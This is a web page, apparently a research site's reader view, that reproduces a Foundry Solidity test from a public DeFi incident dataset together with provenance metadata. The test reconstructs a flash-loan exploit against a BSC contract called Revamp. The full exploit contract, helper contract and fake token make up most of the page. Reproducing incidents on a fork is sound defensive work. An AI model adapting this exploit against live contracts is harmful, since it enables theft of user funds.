Public reproduction file
src/test/2026-03/Revamp_exp.sol
Public reproduction file for dataset entry Revamp.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 2.99 BNB8// Attacker : 0x42579d63bd5945fcfde5adff4edc40c34869914e9// Attack Contract : 0x8b959ecdd652dee3272f1c9684dbf42ae671eb4010// Attack Deployer : 0xb5128e1ae11d739d1f0fdef89e598bca7415866911// Vulnerable Contract : 0x46280c1a2e17cfc151f50a885363408368bb163a12// Victim : 0x46280c1a2e17cfc151f50a885363408368bb163a13// Attack Tx : https://bscscan.com/tx/0xa0ff1de61793b0915038e644a2b45372be8d49e1060b6b2cd5e3482d7d4325ba15// @Info16// Vulnerable Contract Code : https://bscscan.com/address/0x46280c1a2e17cfc151f50a885363408368bb163a#code18// @Analysis19// Twitter Guy : https://x.com/DefimonAlerts/status/203453254423908805320//21// Revamp rewards earlier contributors when later users call revamp(). The attacker made a first contribution sized22// to half of Revamp's native balance, then made a large second contribution from a helper address. The second23// contribution made the first address's pending reward hit the 2x cap; both controlled addresses withdrew principal,24// the first address withdrew the capped reward, and referral fees plus the reward left enough BNB to repay the flash loan.26address constant VULNERABLE_CONTRACT = 0x46280C1A2e17CfC151f50a885363408368BB163A;27address constant PANCAKE_V3_WBNB_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;28address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;30uint256 constant FORK_BLOCK = 87_423_340;31uint256 constant TOKEN_UNIT = 1 ether;32uint256 constant BPS = 10_000;34interface IRevamp {35 function listNewAsset(36 address token,37 uint256 rate,38 string calldata logoUrl39 ) external payable;40 function revamp(41 address token,42 uint256 tokenAmount,43 address referral44 ) external payable;45 function withdraw(46 uint256 amount47 ) external;48 function pendingReward(49 address user50 ) external view returns (uint256);51 function users(52 address user53 ) external view returns (uint256 totalContributed, uint256 rewardDebt, uint256 claimedSoFar);54 function listingFee() external view returns (uint256);55 function totalNativeContributed() external view returns (uint256);56 function nativeFeePercent() external view returns (uint256);57 function shareholdingFeePercent() external view returns (uint256);58 function referralFeePercent() external view returns (uint256);59}61interface IFakeToken {62 function approve(63 address spender,64 uint256 amount65 ) external returns (bool);66 function transfer(67 address to,68 uint256 amount69 ) external returns (bool);70}72contract ContractTest is BaseTestWithBalanceLog {73 RevampExploit private exploit;75 function setUp() public {76 vm.createSelectFork("bsc", FORK_BLOCK);77 fundingToken = address(0);79 vm.label(VULNERABLE_CONTRACT, "Revamp");80 vm.label(PANCAKE_V3_WBNB_POOL, "Pancake V3 WBNB pool");81 vm.label(WBNB_ADDR, "WBNB");82 }84 function testExploit() public balanceLog {85 // Step 1: record Revamp's pre-attack native balance, which determines the first contribution size.86 uint256 attackerBefore = address(this).balance;87 uint256 revampBalanceBefore = address(VULNERABLE_CONTRACT).balance;89 // Step 2: run the local reconstruction and receive the remaining BNB after flash-loan repayment.90 exploit = new RevampExploit(payable(address(this)));91 vm.label(address(exploit), "Local Revamp exploit");92 exploit.attack();94 // Step 3: prove the vulnerable native balance was monetized into attacker profit.95 uint256 profit = address(this).balance - attackerBefore;96 emit log_named_decimal_uint("Revamp native balance before", revampBalanceBefore, 18);97 emit log_named_decimal_uint("BNB profit", profit, 18);99 assertGt(revampBalanceBefore, 0, "Revamp had no native balance");100 assertGt(profit, 2.9 ether, "no meaningful BNB profit");101 }103 receive() external payable {}104}106contract RevampExploit {107 IPancakeV3Pool private constant flashPool = IPancakeV3Pool(PANCAKE_V3_WBNB_POOL);108 IWBNB private constant wbnb = IWBNB(payable(WBNB_ADDR));109 IRevamp private constant revamp = IRevamp(VULNERABLE_CONTRACT);111 address payable private immutable profitReceiver;112 FakeRevampToken private fakeToken;113 RevampHelper private helper;114 uint256 private flashAmount;115 uint256 private firstContribution;116 uint256 private secondContribution;118 constructor(119 address payable receiver120 ) {121 profitReceiver = receiver;122 }124 function attack() external {125 uint256 netBps = BPS - revamp.nativeFeePercent() - revamp.shareholdingFeePercent() - revamp.referralFeePercent();127 uint256 firstNetContribution = address(VULNERABLE_CONTRACT).balance / 2;128 firstContribution = _grossFromNet(firstNetContribution, netBps);130 uint256 secondNetContribution = 2 * (revamp.totalNativeContributed() + firstNetContribution);131 secondContribution = _grossFromNet(secondNetContribution, netBps);133 flashAmount = revamp.listingFee() + firstContribution + secondContribution;134 flashPool.flash(address(this), 0, flashAmount, "");135 }137 function pancakeV3FlashCallback(138 uint256 fee0,139 uint256 fee1,140 bytes calldata141 ) external {142 require(msg.sender == PANCAKE_V3_WBNB_POOL, "unexpected callback");143 require(fee0 == 0, "unexpected token0 fee");145 // Step 1: unwrap the WBNB flash loan to fund Revamp's native-token paths.146 wbnb.withdraw(flashAmount);148 // Step 2: list an attacker-controlled token. Revamp only requires ERC20 metadata and transferFrom support.149 fakeToken = new FakeRevampToken(2 * TOKEN_UNIT);150 helper = new RevampHelper(payable(address(this)), address(revamp), address(fakeToken));151 revamp.listNewAsset{value: revamp.listingFee()}(address(fakeToken), 18, "");153 // Step 3: make the first contribution and set the helper as this address's referrer.154 fakeToken.approve(address(revamp), type(uint256).max);155 revamp.revamp{value: firstContribution}(address(fakeToken), TOKEN_UNIT, address(helper));157 // Step 4: make the large second contribution from the helper and use this contract as its referrer.158 fakeToken.transfer(address(helper), TOKEN_UNIT);159 helper.revampThenWithdraw{value: secondContribution}(secondContribution);161 // Step 5: withdraw this address's principal plus the capped pending reward created by the helper contribution.162 (uint256 totalContributed,,) = revamp.users(address(this));163 uint256 pending = revamp.pendingReward(address(this));164 revamp.withdraw(totalContributed + pending);166 // Step 6: repay the Pancake V3 flash loan and forward the remaining BNB profit.167 uint256 repayment = flashAmount + fee1;168 wbnb.deposit{value: repayment}();169 require(wbnb.transfer(PANCAKE_V3_WBNB_POOL, repayment), "repay failed");171 (bool sent,) = profitReceiver.call{value: address(this).balance}("");172 require(sent, "profit send failed");173 }175 function _grossFromNet(176 uint256 netAmount,177 uint256 netBps178 ) private pure returns (uint256) {179 return (netAmount * BPS) / netBps;180 }182 receive() external payable {}183}185contract RevampHelper {186 IRevamp private immutable revamp;187 IFakeToken private immutable token;188 address payable private immutable parent;190 constructor(191 address payable parent_,192 address revamp_,193 address token_194 ) {195 parent = parent_;196 revamp = IRevamp(revamp_);197 token = IFakeToken(token_);198 }200 function revampThenWithdraw(201 uint256 contribution202 ) external payable {203 require(msg.sender == parent, "only parent");204 require(msg.value == contribution, "bad value");206 token.approve(address(revamp), type(uint256).max);207 revamp.revamp{value: contribution}(address(token), TOKEN_UNIT, parent);209 (uint256 totalContributed,,) = revamp.users(address(this));210 revamp.withdraw(totalContributed);212 (bool sent,) = parent.call{value: address(this).balance}("");213 require(sent, "return failed");214 }216 receive() external payable {}217}219contract FakeRevampToken {220 string public constant name = "F";221 string public constant symbol = "F";222 uint8 public constant decimals = 18;223 uint256 public totalSupply;224 mapping(address => uint256) public balanceOf;225 mapping(address => mapping(address => uint256)) public allowance;227 constructor(228 uint256 supply229 ) {230 totalSupply = supply;231 balanceOf[msg.sender] = supply;232 emit Transfer(address(0), msg.sender, supply);233 }235 function approve(236 address spender,237 uint256 amount238 ) external returns (bool) {239 allowance[msg.sender][spender] = amount;240 emit Approval(msg.sender, spender, amount);241 return true;242 }244 function transfer(245 address to,246 uint256 amount247 ) external returns (bool) {248 _transfer(msg.sender, to, amount);249 return true;250 }252 function transferFrom(253 address from,254 address to,255 uint256 amount256 ) external returns (bool) {257 uint256 allowed = allowance[from][msg.sender];258 if (allowed != type(uint256).max) {259 allowance[from][msg.sender] = allowed - amount;260 }261 _transfer(from, to, amount);262 return true;263 }265 function _transfer(266 address from,267 address to,268 uint256 amount269 ) private {270 balanceOf[from] -= amount;271 balanceOf[to] += amount;272 emit Transfer(from, to, amount);273 }275 event Approval(address indexed owner, address indexed spender, uint256 value);276 event Transfer(address indexed from, address indexed to, uint256 value);277}Analysis
Dataset entry
Public Foundry test for “Revamp” (2026-03-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-03/AlkemiEarn_exp.solSame month in the dataset · 91 lines
- src/test/2026-03/ATMBlindBox_exp.solSame month in the dataset · 141 lines
- src/test/2026-03/bce_exp.solSame month in the dataset · 245 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame month in the dataset · 281 lines
- src/test/2026-03/EST_exp.solSame month in the dataset · 170 lines
- src/test/2026-03/unverified_237d_exp.solSame month in the dataset · 162 lines
- src/test/2026-03/Univ3CollateralToken_exp.solSame month in the dataset · 188 lines
- src/test/2026-03/unverified_1304_exp.solSame month in the dataset · 178 lines
- src/test/2026-03/Venus_THE_exp.solSame month in the dataset · 227 lines
- src/test/2026-03/VTSwapHook_exp.solSame month in the dataset · 166 lines
- src/test/2026-03/WhalebitOracleManipulation_exp.solSame month in the dataset · 199 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x42579d63bd5945fcfde5adff4edc40c34869914e
- Attack Contract
0x8b959ecdd652dee3272f1c9684dbf42ae671eb40
- Vulnerable Contract
0x46280c1a2e17cfc151f50a885363408368bb163a
- Victim
0x46280c1a2e17cfc151f50a885363408368bb163a
- Attack Tx
0xa0ff1de61793b0915038e644a2b45372be8d49e1060b6b2cd5e3482d7d4325ba
File record
- Name
- Revamp
- Path
- src/test/2026-03/Revamp_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8c8e5f8fa8b4d0b3a80dbfff40a448c689583f64
- Language
- Solidity
- Size
- 278 lines
- Date
- 2026-03-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/Revamp_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8c8e5f8fa8b4d0b3a80dbfff40a448c689583f64, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.